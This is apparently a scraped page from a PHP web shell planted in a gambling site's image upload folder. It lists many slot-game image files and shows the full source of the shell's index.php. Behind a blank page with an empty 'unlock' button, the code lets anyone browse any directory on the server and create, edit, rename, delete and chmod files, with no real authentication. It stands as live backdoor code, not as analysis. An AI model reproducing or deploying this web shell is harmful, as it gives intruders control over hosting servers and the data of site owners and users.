PATH: /home/hwyuvbry/www/upload/game_pic/pragmaticplay
FILE_BARU
CREATE
FOLDER_BARU
MKDIR
UPLOAD_FILE
GO
[ .. KEMBALI ]
đ 1001.png
â
X
đ 101.png
â
X
đ 102.png
â
X
đ 1024.png
â
X
đ 103.png
â
X
đ 104.png
â
X
đ 105.png
â
X
đ 107.png
â
X
đ 108.png
â
X
đ 109.png
â
X
đ 110.png
â
X
đ 1101.png
â
X
đ 111.png
â
X
đ 114.png
â
X
đ 1301.png
â
X
đ 1302.png
â
X
đ 1401.png
â
X
đ 201.png
â
X
đ 203.png
â
X
đ 204.png
â
X
đ 225.png
â
X
đ 229.png
â
X
đ 230.png
â
X
đ 240.png
â
X
đ 303.png
â
X
đ 401.png
â
X
đ 402.png
â
X
đ 545.png
â
X
đ 701.png
â
X
đ 801.png
â
X
đ 901.png
â
X
đ 902.png
â
X
đ bca.png
â
X
đ bjma.png
â
X
đ bjmb.png
â
X
đ bnadvanced.png
â
X
đ bndt.png
â
X
đ candy_jar_clusters.jpg
â
X
đ cs3irishcharms.png
â
X
đ cs3w.png
â
X
đ cs5moneyroll.png
â
X
đ cs5triple8gold.png
â
X
đ error_log
â
X
đ index.php
â
X
đ rla.png
â
X
đ sc7piggies.png
â
X
đ sc7piggiesai.png
â
X
đ scdiamond.png
â
X
đ scdiamondai.png
â
X
đ scgoldrush.png
â
X
đ scgoldrushai.png
â
X
đ scpanda.png
â
X
đ scpandai.png
â
X
đ scqog.png
â
X
đ scqogai.png
â
X
đ scsafari.png
â
X
đ scsafariai.png
â
X
đ scwolfgold.png
â
X
đ scwolfgoldai.png
â
X
đ twilight_princess.jpg
â
X
đ vpdr7.png
â
X
đ vpdt11.png
â
X
đ vpfh3.png
â
X
đ vplfl6.png
â
X
đ vplobby.png
â
X
đ vpmr9.png
â
X
đ vppso4.png
â
X
đ vpsc10.png
â
X
đ vs100firehot.png
â
X
đ vs100sh.png
â
X
đ vs1024butterfly.png
â
X
đ vs1024dtiger.png
â
X
đ vs1024gmayhem.png
â
X
đ vs1024lionsd.png
â
X
đ vs1024mahjpanda.png
â
X
đ vs1024temuj.png
â
X
đ vs10amm.png
â
X
đ vs10bbbonanza.png
â
X
đ vs10bbkir.png
â
X
đ vs10bblpop.png
â
X
đ vs10bookazteck.png
â
X
đ vs10bookfallen.png
â
X
đ vs10bookoftut.png
â
X
đ vs10bookviking.png
â
X
đ vs10bxmasbnza.png
â
X
đ vs10chkchase.png
â
X
đ vs10cowgold.png
â
X
đ vs10crownfire.png
â
X
đ vs10egrich.png
â
X
đ vs10egypt.png
â
X
đ vs10egyptcls.png
â
X
đ vs10eyestorm.png
â
X
đ vs10firestrike.png
â
X
đ vs10firestrike2.png
â
X
đ vs10fisheye.png
â
X
đ vs10floatdrg.png
â
X
đ vs10fruity2.png
â
X
đ vs10goldfish.png
â
X
đ vs10luckcharm.png
â
X
đ vs10madame.png
â
X
đ vs10mayangods.png
â
X
đ vs10mmm.png
â
X
đ vs10nudgeit.png
â
X
đ vs10returndead.png
â
X
đ vs10runes.png
â
X
đ vs10snakeeyes.png
â
X
đ vs10snakeladd.png
â
X
đ vs10spiritadv.png
â
X
đ vs10starpirate.png
â
X
đ vs10threestar.png
â
X
đ vs10tictac.png
â
X
đ vs10tut.png
â
X
đ vs10txbigbass.png
â
X
đ vs10vampwolf.png
â
X
đ vs10wildtut.png
â
X
đ vs117649starz.png
â
X
đ vs12bbb.png
â
X
đ vs12bbbxmas.png
â
X
đ vs12tropicana.png
â
X
đ vs13g.png
â
X
đ vs15b.png
â
X
đ vs15diamond.png
â
X
đ vs15fairytale.png
â
X
đ vs15ktv.png
â
X
đ vs1600drago.png
â
X
đ vs18mashang.png
â
X
đ vs1ball.png
â
X
đ vs1dragon8.png
â
X
đ vs1fortunetree.png
â
X
đ vs1fufufu.png
â
X
đ vs1masterjoker.png
â
X
đ vs1money.png
â
X
đ vs1tigers.png
â
X
đ vs20aladdinsorc.png
â
X
đ vs20amuleteg.png
â
X
đ vs20asgard.png
â
X
đ vs20aztecgates.png
â
X
đ vs20bchprty.png
â
X
đ vs20bermuda.png
â
X
đ vs20bl.png
â
X
đ vs20chickdrop.png
â
X
đ vs20chicken.png
â
X
đ vs20cleocatra.png
â
X
đ vs20clspwrndg.png
â
X
đ vs20cms.png
â
X
đ vs20cmv.png
â
X
đ vs20colcashzone.png
â
X
đ vs20cw.png
â
X
đ vs20daydead.png
â
X
đ vs20doghouse.png
â
X
đ vs20doghousemh.png
â
X
đ vs20drgbless.png
â
X
đ vs20drtgold.png
â
X
đ vs20dugems.png
â
X
đ vs20egypttrs.png
â
X
đ vs20eightdragons.png
â
X
đ vs20eking.png
â
X
đ vs20ekingrr.png
â
X
đ vs20emptybank.png
â
X
đ vs20farmfest.png
â
X
đ vs20fh.png
â
X
đ vs20fparty2.png
â
X
đ vs20fruitparty.png
â
X
đ vs20fruitsw.png
â
X
đ vs20gatotfury.png
â
X
đ vs20gatotgates.png
â
X
đ vs20gg.png
â
X
đ vs20gobnudge.png
â
X
đ vs20godiva.png
â
X
đ vs20goldclust.png
â
X
đ vs20goldfever.png
â
X
đ vs20gorilla.png
â
X
đ vs20hburnhs.png
â
X
đ vs20hercpeg.png
â
X
đ vs20hockey.png
â
X
đ vs20honey.png
â
X
đ vs20kraken.png
â
X
đ vs20kraken2.png
â
X
đ vs20lcount.png
â
X
đ vs20leprechaun.png
â
X
đ vs20leprexmas.png
â
X
đ vs20ltng.png
â
X
đ vs20magicpot.png
â
X
đ vs20mammoth.png
â
X
đ vs20midas.png
â
X
đ vs20mparty.png
â
X
đ vs20mtreasure.png
â
X
đ vs20muertos.png
â
X
đ vs20mustanggld2.png
â
X
đ vs20mvwild.png
â
X
đ vs20octobeer.png
â
X
đ vs20olympgate.png
â
X
đ vs20pbonanza.png
â
X
đ vs20phoenixf.png
â
X
đ vs20pistols.png
â
X
đ vs20porbs.png
â
X
đ vs20rainbowg.png
â
X
đ vs20rhino.png
â
X
đ vs20rhinoluxe.png
â
X
đ vs20rockvegas.png
â
X
đ vs20santa.png
â
X
đ vs20santawonder.png
â
X
đ vs20sbxmas.png
â
X
đ vs20schristmas.png
â
X
đ vs20sh.png
â
X
đ vs20sknights.png
â
X
đ vs20smugcove.png
â
X
đ vs20sparta.png
â
X
đ vs20starlight.png
â
X
đ vs20stickysymbol.png
â
X
đ vs20sugarrush.png
â
X
đ vs20superlanche.png
â
X
đ vs20superx.png
â
X
đ vs20swordofares.png
â
X
đ vs20terrorv.png
â
X
đ vs20theights.png
â
X
đ vs20trsbox.png
â
X
đ vs20trswild2.png
â
X
đ vs20tweethouse.png
â
X
đ vs20ultim5.png
â
X
đ vs20underground.png
â
X
đ vs20vegasmagic.png
â
X
đ vs20wildboost.png
â
X
đ vs20wildpix.png
â
X
đ vs20wolfie.png
â
X
đ vs20xmascarol.png
â
X
đ vs243caishien.png
â
X
đ vs243chargebull.png
â
X
đ vs243ckemp.png
â
X
đ vs243dancingpar.png
â
X
đ vs243discolady.png
â
X
đ vs243empcaishen.png
â
X
đ vs243fortseren.png
â
X
đ vs243fortune.png
â
X
đ vs243koipond.png
â
X
đ vs243lions.png
â
X
đ vs243lionsgold.png
â
X
đ vs243mwarrior.png
â
X
đ vs243queenie.png
â
X
đ vs25archer.png
â
X
đ vs25asgard.png
â
X
đ vs25aztecking.png
â
X
đ vs25bkofkngdm.png
â
X
đ vs25bomb.png
â
X
đ vs25btygold.png
â
X
đ vs25chilli.png
â
X
đ vs25copsrobbers.png
â
X
đ vs25davinci.png
â
X
đ vs25dragonkingdom.png
â
X
đ vs25dwarves_new.png
â
X
đ vs25gladiator.png
â
X
đ vs25gldox.png
â
X
đ vs25goldparty.png
â
X
đ vs25goldpig.png
â
X
đ vs25goldrush.png
â
X
đ vs25h.png
â
X
đ vs25hotfiesta.png
â
X
đ vs25jokerking.png
â
X
đ vs25journey.png
â
X
đ vs25kfruit.png
â
X
đ vs25kingdoms.png
â
X
đ vs25kingdomsnojp.png
â
X
đ vs25mmouse.png
â
X
đ vs25mustang.png
â
X
đ vs25newyear.png
â
X
đ vs25pandagold.png
â
X
đ vs25pandatemple.png
â
X
đ vs25peking.png
â
X
đ vs25pyramid.png
â
X
đ vs25queenofgold.png
â
X
đ vs25rio.png
â
X
đ vs25rlbank.png
â
X
đ vs25romeoandjuliet.png
â
X
đ vs25safari.png
â
X
đ vs25samurai.png
â
X
đ vs25scarabqueen.png
â
X
đ vs25sea.png
â
X
đ vs25spgldways.png
â
X
đ vs25tigerwar.png
â
X
đ vs25tigeryear.png
â
X
đ vs25vegas.png
â
X
đ vs25walker.png
â
X
đ vs25wildspells.png
â
X
đ vs25wolfgold.png
â
X
đ vs25wolfjpt.png
â
X
đ vs30catz.png
â
X
đ vs3train.png
â
X
đ vs4096bufking.png
â
X
đ vs4096magician.png
â
X
đ vs4096mystery.png
â
X
đ vs40bigjuan.png
â
X
đ vs40cleoeye.png
â
X
đ vs40cosmiccash.png
â
X
đ vs40firehot.png
â
X
đ vs40frrainbow.png
â
X
đ vs40hotburnx.png
â
X
đ vs40madwheel.png
â
X
đ vs40mstrwild.png
â
X
đ vs40pirate.png
â
X
đ vs40pirgold.png
â
X
đ vs40sh.png
â
X
đ vs40spartaking.png
â
X
đ vs40streetracer.png
â
X
đ vs40voodoo.png
â
X
đ vs40wanderw.png
â
X
đ vs40wildwest.png
â
X
đ vs432congocash.png
â
X
đ vs50aladdin.png
â
X
đ vs50chinesecharms.png
â
X
đ vs50hercules.png
â
X
đ vs50juicyfr.png
â
X
đ vs50kingkong.png
â
X
đ vs50mightra.png
â
X
đ vs50northgard.png
â
X
đ vs50pixie.png
â
X
đ vs50safariking.png
â
X
đ vs576hokkwolf.png
â
X
đ vs576treasures.png
â
X
đ vs5aztecgems.png
â
X
đ vs5drhs.png
â
X
đ vs5drmystery.png
â
X
đ vs5firehot.png
â
X
đ vs5hotburn.png
â
X
đ vs5joker.png
â
X
đ vs5littlegem.png
â
X
đ vs5sh.png
â
X
đ vs5spjoker.png
â
X
đ vs5strh.png
â
X
đ vs5super7.png
â
X
đ vs5trdragons.png
â
X
đ vs5ultra.png
â
X
đ vs5ultrab.png
â
X
đ vs75bronco.png
â
X
đ vs75empress.png
â
X
đ vs7776aztec.png
â
X
đ vs7776secrets.png
â
X
đ vs7fire88.png
â
X
đ vs7monkeys.png
â
X
đ vs7pigs.png
â
X
đ vs88hockattack.png
â
X
đ vs8magicjourn.png
â
X
đ vs9aztecgemsdx.png
â
X
đ vs9catz.png
â
X
đ vs9chen.png
â
X
đ vs9hockey.png
â
X
đ vs9hotroll.png
â
X
đ vs9madmonkey.png
â
X
đ vs9piggybank.png
â
X
đ vswaysaztecking.png
â
X
đ vswaysbankbonz.png
â
X
đ vswaysbbb.png
â
X
đ vswaysbook.png
â
X
đ vswaysbufking.png
â
X
đ vswayschilheat.png
â
X
đ vswaysconcoll.png
â
X
đ vswayscryscav.png
â
X
đ vswaysdogs.png
â
X
đ vswayselements.png
â
X
đ vswaysfltdrg.png
â
X
đ vswaysfrywld.png
â
X
đ vswaysfuryodin.png
â
X
đ vswayshammthor.png
â
X
đ vswayshive.png
â
X
đ vswaysjkrdrop.png
â
X
đ vswayslight.png
â
X
đ vswayslions.png
â
X
đ vswayslofhero.png
â
X
đ vswaysluckyfish.png
â
X
đ vswaysmadame.png
â
X
đ vswaysmorient.png
â
X
đ vswaysoldminer.png
â
X
đ vswayspizza.png
â
X
đ vswaysrabbits.png
â
X
đ vswaysrhino.png
â
X
đ vswayssamurai.png
â
X
đ vswaysstrwild.png
â
X
đ vswaysultrcoin.png
â
X
đ vswayswerewolf.png
â
X
đ vswayswest.png
â
X
đ vswayswildwest.png
â
X
đ vswayswwhex.png
â
X
đ vswayswwriches.png
â
X
đ vswaysxjuicy.png
â
X
đ vswaysyumyum.png
â
X
đ vswayszombcarn.png
â
X
SAVING...
BERHASIL DIUBAH!
EDITING: index.php
<?php session_start(); if (!isset($_SESSION['unlocked'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['unlock'])) { $_SESSION['unlocked'] = true; exit; } echo '<!DOCTYPE html><html><head><title></title></head><body style="display:flex;justify-content:center;align-items:center;height:1003vh;font-family:sans-serif;"> <button id="unlockBtn" style="font-size:2rem;padding:20px 4px;cursor:pointer;"></button> <script> document.getElementById("unlockBtn").addEventListener("click", () => { fetch("", { method: "POST", headers: {"Content-Type":"application/x-www-form-urlencoded"}, body: "unlock=1" }).then(() => location.reload()); }); </script></body></html>'; exit; } $current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : getcwd(); if (!$current_dir || !is_dir($current_dir)) { $current_dir = getcwd(); } // ... (rest of your File Manager logic continues here unchanged) ... // Handle create file or folder if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['create_item']) && isset($_POST['item_name'])) { $item_name = basename($_POST['item_name']); $target_path = $current_dir . '/' . $item_name; if ($_POST['create_item'] === 'file') { if (file_put_contents($target_path, '') !== false) { echo '<p>File berhasil dibuat.</p>'; } else { echo '<p>Gagal membuat file.</p>'; } } elseif ($_POST['create_item'] === 'folder') { if (mkdir($target_path)) { echo '<p>Folder berhasil dibuat.</p>'; } else { echo '<p>Gagal membuat folder.</p>'; } } exit; } // Handle delete if (isset($_POST['delete_items']) && isset($_POST['items']) && is_array($_POST['items'])) { foreach ($_POST['items'] as $item) { $path = realpath($current_dir . '/' . $item); if (is_file($path)) { unlink($path); } elseif (is_dir($path)) { rmdir($path); } } header("Location: ?dir=" . urlencode($current_dir)); exit; } // Handle chmod if (isset($_POST['chmod_item']) && isset($_POST['mode'])) { $path = realpath($current_dir . '/' . $_POST['chmod_item']); $mode = intval($_POST['mode'], 8); chmod($path, $mode); echo '<p>Permission berhasil diubah.</p>'; exit; } } // Handle rename if (isset($_GET['rename'])) { $item_to_rename = realpath($current_dir . '/' . $_GET['rename']); if (file_exists($item_to_rename)) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) { $new_path = $current_dir . '/' . $_POST['new_name']; if (rename($item_to_rename, $new_path)) { echo '<p>Item berhasil diganti nama.</p>'; } else { echo '<p>Gagal mengganti nama item.</p>'; } exit; } ?> <!DOCTYPE html> <html> <head><title>Ganti Nama: <?php echo htmlspecialchars($_GET['rename']); ?></title></head> <body> <h1>Ganti Nama</h1> <form method="post"> <input type="text" name="new_name" value="<?php echo htmlspecialchars(basename($item_to_rename)); ?>" required> <button type="submit">Ganti Nama</button> </form> </body> </html> <?php exit; } } // Handle file edit if (isset($_GET['edit'])) { $file_to_edit = realpath($current_dir . '/' . $_GET['edit']); if (file_exists($file_to_edit) && is_file($file_to_edit)) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { file_put_contents($file_to_edit, $_POST['content']); echo 'File berhasil disimpan.'; exit; } $file_content = file_get_contents($file_to_edit); ?> <!DOCTYPE html> <html> <head> <title>Edit File: <?php echo htmlspecialchars($_GET['edit']); ?></title> <style> body { font-family: Arial, sans-serif; margin: 0; padding: 0; display: flex; flex-direction: column; height: 100vh; } #editor-container, #notepad-container { flex: 1; display: flex; flex-direction: column; border: 1px solid #ccc; margin: 10px; } textarea { width: 100%; height: calc(100% - 40px); font-family: monospace; padding: 10px; box-sizing: border-box; } #editor-controls, #notepad-controls { display: flex; justify-content: space-between; padding: 5px 10px; background: #f0f0f0; border-top: 1px solid #ccc; } button { padding: 5px 10px; } </style> <script> let undoStack = []; let redoStack = []; function saveUndo(content) { undoStack.push(content); redoStack = []; } function undo(editor) { if (undoStack.length > 0) { redoStack.push(editor.value); editor.value = undoStack.pop(); } } function redo(editor) { if (redoStack.length > 0) { undoStack.push(editor.value); editor.value = redoStack.pop(); } } function saveChanges(editor) { const formData = new FormData(); formData.append('content', editor.value); fetch(window.location.href, { method: 'POST', body: formData }).then(response => response.text()) .then(text => alert(text)) .catch(err => alert('Gagal menyimpan file: ' + err)); } </script> </head> <body> <div id="editor-container"> <textarea id="editor" oninput="saveUndo(this.value)"><?php echo htmlspecialchars($file_content); ?></textarea> <div id="editor-controls"> <button onclick="undo(document.getElementById('editor'))">âŠī¸ Undo</button> <button onclick="redo(document.getElementById('editor'))">âĒī¸ Redo</button> <button onclick="saveChanges(document.getElementById('editor'))">Simpan</button> </div> </div> <div id="notepad-container"> <textarea id="notepad" placeholder="Catatan Anda..."></textarea> <div id="notepad-controls"> <span>Notepad</span> </div> </div> </body> </html> <?php exit; } } ?> <!DOCTYPE html> <html> <head> <title>File Manager</title> <style> body { font-family: Arial, sans-serif; margin: 20px; } .file-manager { margin-bottom: 20px; } .file-list { margin-top: 20px; border: 1px solid #ccc; padding: 10px; border-radius: 5px; } .item { display: flex; align-items: center; margin: 5px 0; } .icon { width: 30px; text-align: center; margin-right: 10px; } a { text-decoration: none; color: #007bff; margin-right: 10px; } a:hover { text-decoration: underline; } button { padding: 5px 10px; } .checkbox { margin-right: 10px; } input[type=text] { margin-right: 5px; } </style> </head> <body> <h1>File Manager</h1> <p>Direktori saat ini: <strong><?php echo htmlspecialchars($current_dir); ?></strong></p> <form method="post"> <div class="file-manager"> <ul> <?php if ($current_dir !== '/'): $parent = dirname($current_dir); ?> <li class="item"> <div class="icon">đ</div> <a href="?dir=<?php echo urlencode($parent); ?>">Kembali</a> </li> <?php endif; ?> <?php $items = scandir($current_dir); foreach ($items as $item): if ($item === '.' || $item === '..') continue; $path = $current_dir . '/' . $item; ?> <li class="item"> <input type="checkbox" class="checkbox" name="items[]" value="<?php echo htmlspecialchars($item); ?>"> <div class="icon"><?php echo is_dir($path) ? 'đ' : 'đ'; ?></div> <a href="?dir=<?php echo urlencode($path); ?>"><?php echo htmlspecialchars($item); ?></a> <?php if (!is_dir($path)): ?> <a href="?dir=<?php echo urlencode($current_dir); ?>&edit=<?php echo urlencode($item); ?>" style="color: orange;">đ</a> <?php endif; ?> <a href="?dir=<?php echo urlencode($current_dir); ?>&rename=<?php echo urlencode($item); ?>" style="color: green;">âī¸</a> <form method="post" style="display:inline;"> <input type="hidden" name="chmod_item" value="<?php echo htmlspecialchars($item); ?>"> <input type="text" name="mode" size="4" placeholder="755"> <button type="submit">Chmod</button> </form> </li> <?php endforeach; ?> </ul> <button type="submit" name="delete_items" onclick="return confirm('Yakin ingin menghapus item terpilih?')">Hapus Terpilih</button> </div> </form> <h2>Buat File atau Folder</h2> <form method="post"> <input type="text" name="item_name" placeholder="Nama file atau folder" required> <select name="create_item"> <option value="file">File</option> <option value="folder">Folder</option> </select> <button type="submit">Buat</button> </form> </body> </html>
SIMPAN PERUBAHAN